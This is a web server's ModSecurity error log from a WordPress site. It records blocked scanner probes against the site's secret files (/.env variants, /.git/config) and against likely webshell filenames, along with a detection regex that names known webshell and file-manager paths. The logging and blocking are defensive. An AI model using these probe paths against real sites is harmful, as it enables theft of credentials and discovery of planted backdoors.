[Fri May 15 01:14:03.641579 2026] [:error] [pid 47721:tid 47736] [client 81.167.26.57:4560] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agYC23Emh7_G0hfOa6tKKQAAAY0"]
[Fri May 15 01:14:06.080924 2026] [:error] [pid 11582:tid 11637] [client 81.167.26.57:29791] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agYC3vuw2cmFDpGcKhBHrAAAAEw"]
[Fri May 15 01:14:08.693813 2026] [:error] [pid 47721:tid 47732] [client 81.167.26.57:54371] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agYC4HEmh7_G0hfOa6tKMgAAAYk"]
[Fri May 15 01:14:11.284095 2026] [:error] [pid 47721:tid 47730] [client 81.167.26.57:48590] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agYC43Emh7_G0hfOa6tKOAAAAYc"]
[Fri May 15 01:14:13.871676 2026] [:error] [pid 11588:tid 11652] [client 81.167.26.57:56917] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agYC5dUr21rOixkeGKbT-wAAAIA"]
[Fri May 15 01:14:16.315760 2026] [:error] [pid 11690:tid 11722] [client 81.167.26.57:57097] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agYC6CnxWuLN8Hptw8lQ8AAAANc"]
[Fri May 15 01:14:18.924266 2026] [:error] [pid 47673:tid 47691] [client 81.167.26.57:41909] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agYC6vCGe4cIn3sh5k0_WgAAAVA"]
[Fri May 15 01:14:21.549666 2026] [:error] [pid 63033:tid 63035] [client 81.167.26.57:6740] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agYC7VMY49UWn5BpqVYWLwAAAQA"]
[Fri May 15 01:14:24.188007 2026] [:error] [pid 11588:tid 11657] [client 81.167.26.57:36100] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agYC8NUr21rOixkeGKbUAwAAAIU"]
[Fri May 15 01:14:26.771656 2026] [:error] [pid 63033:tid 63038] [client 81.167.26.57:1506] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agYC8lMY49UWn5BpqVYWMQAAAQM"]
[Fri May 15 01:14:29.381198 2026] [:error] [pid 47673:tid 47678] [client 81.167.26.57:55526] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agYC9fCGe4cIn3sh5k0_ZAAAAUM"]
[Fri May 15 01:14:31.965571 2026] [:error] [pid 47673:tid 47676] [client 81.167.26.57:26330] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agYC9_CGe4cIn3sh5k0_ZwAAAUE"]
[Fri May 15 01:14:34.562916 2026] [:error] [pid 11581:tid 11608] [client 81.167.26.57:57062] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "agYC-v0vF48FbzpvQMVmGAAAAAs"]
[Fri May 15 01:14:37.020649 2026] [:error] [pid 11690:tid 11708] [client 81.167.26.57:5295] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "agYC_SnxWuLN8Hptw8lRBAAAAMk"]
[Fri May 15 01:14:39.625474 2026] [:error] [pid 11581:tid 11600] [client 81.167.26.57:55914] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "agYC__0vF48FbzpvQMVmHwAAAAM"]
[Fri May 15 04:59:16.760467 2026] [:error] [pid 1189:tid 1229] [client 35.221.186.149:47046] [client 35.221.186.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agY3pAe36qIGegR4kclDfwAAAEQ"]
[Fri May 15 05:29:09.051439 2026] [:error] [pid 1295:tid 1305] [client 35.246.216.243:37420] [client 35.246.216.243] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agY-pdmMhqLvs0GYixnUFQAAAMc"]
[Fri May 15 06:03:00.346936 2026] [:error] [pid 1188:tid 1210] [client 34.131.172.244:50880] [client 34.131.172.244] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agZGlNY68iW8yuNkNzPNUgAAAA0"]
[Fri May 15 06:30:23.111880 2026] [:error] [pid 50531:tid 50550] [client 34.18.60.162:60554] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "agZM_x3WbFwE6voqGzqoGQAAARE"]
[Fri May 15 06:30:23.121790 2026] [:error] [pid 1295:tid 1317] [client 34.18.60.162:60566] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "agZM_9mMhqLvs0GYixnejwAAANM"]
[Fri May 15 06:30:23.190094 2026] [:error] [pid 1295:tid 1300] [client 34.18.60.162:60574] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "agZM_9mMhqLvs0GYixnekAAAAMI"]
[Fri May 15 06:30:23.190751 2026] [:error] [pid 50531:tid 50533] [client 34.18.60.162:60588] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "agZM_x3WbFwE6voqGzqoGgAAAQA"]
[Fri May 15 06:30:23.355001 2026] [:error] [pid 1295:tid 1308] [client 34.18.60.162:60602] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "agZM_9mMhqLvs0GYixnekQAAAMo"]
[Fri May 15 06:30:23.385731 2026] [:error] [pid 1295:tid 1299] [client 34.18.60.162:60616] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development.local"] [unique_id "agZM_9mMhqLvs0GYixnekgAAAME"]
[Fri May 15 06:30:23.453932 2026] [:error] [pid 1295:tid 1306] [client 34.18.60.162:60630] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "agZM_9mMhqLvs0GYixnekwAAAMg"]
[Fri May 15 06:30:23.480424 2026] [:error] [pid 50531:tid 50555] [client 34.18.60.162:60644] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env.local"] [unique_id "agZM_x3WbFwE6voqGzqoGwAAARY"]
[Fri May 15 06:30:23.801637 2026] [:error] [pid 1188:tid 1203] [client 34.18.60.162:60656] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "agZM_9Y68iW8yuNkNzPQGAAAAAY"]
[Fri May 15 06:30:23.804720 2026] [:error] [pid 1190:tid 1258] [client 34.18.60.162:60670] [client 34.18.60.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "agZM_9qiXrD7hne4gFagWgAAAIY"]
[Fri May 15 06:33:11.165834 2026] [:error] [pid 50531:tid 50545] [client 162.14.66.219:50456] [client 162.14.66.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agZNpx3WbFwE6voqGzqotgAAAQw"]
[Fri May 15 06:35:07.902224 2026] [:error] [pid 1190:tid 1254] [client 34.155.115.227:33672] [client 34.155.115.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agZOG9qiXrD7hne4gFag9QAAAII"]
[Fri May 15 06:47:17.160061 2026] [:error] [pid 1188:tid 1199] [client 35.244.77.207:53202] [client 35.244.77.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agZQ9dY68iW8yuNkNzPSQQAAAAI"]
[Fri May 15 08:38:38.497044 2026] [autoindex:error] [pid 1295:tid 1313] [client 161.97.142.128:58210] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 15 10:14:13.764326 2026] [:error] [pid 1188:tid 1217] [client 170.106.192.3:37692] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agaBddY68iW8yuNkNzPyUQAAABQ"]
[Fri May 15 14:01:59.000116 2026] [:error] [pid 9392:tid 9409] [client 191.237.254.232:9038] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "aga21tBWJIjH1U9zGfaVlwAAAQ8"]
[Fri May 15 14:02:01.108574 2026] [:error] [pid 9392:tid 9402] [client 191.237.254.232:11287] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "aga22dBWJIjH1U9zGfaVnAAAAQg"]
[Fri May 15 14:02:02.392666 2026] [:error] [pid 30272:tid 30278] [client 191.237.254.232:5521] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "aga22nvc_jSFaQ_7_weS_AAAAYQ"]
[Fri May 15 14:02:13.790765 2026] [:error] [pid 9307:tid 9368] [client 191.237.254.232:11323] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "aga25SC43jY1IRzK5VY4ngAAAMM"]
[Fri May 15 14:02:17.160990 2026] [:error] [pid 30208:tid 30214] [client 191.237.254.232:31150] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aga26ZmLMCJujX-JTvgQzQAAAIQ"]
[Fri May 15 14:02:19.770753 2026] [:error] [pid 9305:tid 9356] [client 191.237.254.232:16471] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aga2695FZyBmdCM8GsFzfQAAAFI"]
[Fri May 15 14:02:30.296693 2026] [:error] [pid 30272:tid 30293] [client 191.237.254.232:11295] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aga29nvc_jSFaQ_7_weTQgAAAZM"]
[Fri May 15 14:02:32.246983 2026] [:error] [pid 9392:tid 9398] [client 191.237.254.232:11384] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aga2-NBWJIjH1U9zGfaVtAAAAQQ"]
[Fri May 15 14:02:35.468036 2026] [:error] [pid 9392:tid 9416] [client 191.237.254.232:3878] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aga2-9BWJIjH1U9zGfaVuQAAARY"]
[Fri May 15 14:02:41.095116 2026] [:error] [pid 30240:tid 30246] [client 191.237.254.232:28630] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aga3Aa8ckHvaA6bpews3XgAAAUQ"]
[Fri May 15 14:02:42.449484 2026] [:error] [pid 30272:tid 30285] [client 191.237.254.232:11786] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aga3Anvc_jSFaQ_7_weTXQAAAYs"]
[Fri May 15 14:02:43.464713 2026] [:error] [pid 9307:tid 9370] [client 191.237.254.232:33553] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aga3AyC43jY1IRzK5VY4qQAAAMU"]
[Fri May 15 14:02:49.259555 2026] [:error] [pid 9392:tid 9414] [client 191.237.254.232:21834] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aga3CdBWJIjH1U9zGfaVwAAAARQ"]
[Fri May 15 14:02:52.661187 2026] [:error] [pid 9307:tid 9369] [client 191.237.254.232:9775] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "aga3DCC43jY1IRzK5VY4sAAAAMQ"]
[Fri May 15 14:02:54.828783 2026] [:error] [pid 9392:tid 9409] [client 191.237.254.232:9771] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drykl.php"] [unique_id "aga3DtBWJIjH1U9zGfaV2wAAAQ8"]
[Fri May 15 14:03:09.652905 2026] [:error] [pid 9307:tid 9383] [client 191.237.254.232:14037] [client 191.237.254.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aga3HSC43jY1IRzK5VY4vgAAANI"]
[Fri May 15 14:03:17.687725 2026] [:error] [pid 30240:tid 30260] [client 191.237.254.232:6226] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aga3Ja8ckHvaA6bpews3lwAAAVI"]
[Fri May 15 14:03:20.445338 2026] [:error] [pid 9307:tid 9387] [client 191.237.254.232:27986] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aga3KCC43jY1IRzK5VY4wgAAANY"]
[Fri May 15 14:03:22.235710 2026] [:error] [pid 30240:tid 30246] [client 191.237.254.232:20917] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aga3Kq8ckHvaA6bpews3nwAAAUQ"]
[Fri May 15 14:03:25.638488 2026] [:error] [pid 30208:tid 30215] [client 191.237.254.232:24410] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "aga3LZmLMCJujX-JTvgQ5QAAAIU"]
[Fri May 15 14:03:34.384580 2026] [:error] [pid 30272:tid 30282] [client 191.237.254.232:20897] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aga3Nnvc_jSFaQ_7_weTpgAAAYg"]
[Fri May 15 14:03:36.984801 2026] [:error] [pid 30240:tid 30247] [client 191.237.254.232:9253] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aga3OK8ckHvaA6bpews3twAAAUU"]
[Fri May 15 14:03:38.222553 2026] [:error] [pid 9305:tid 9343] [client 191.237.254.232:10249] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aga3Ot5FZyBmdCM8GsFzmQAAAEU"]
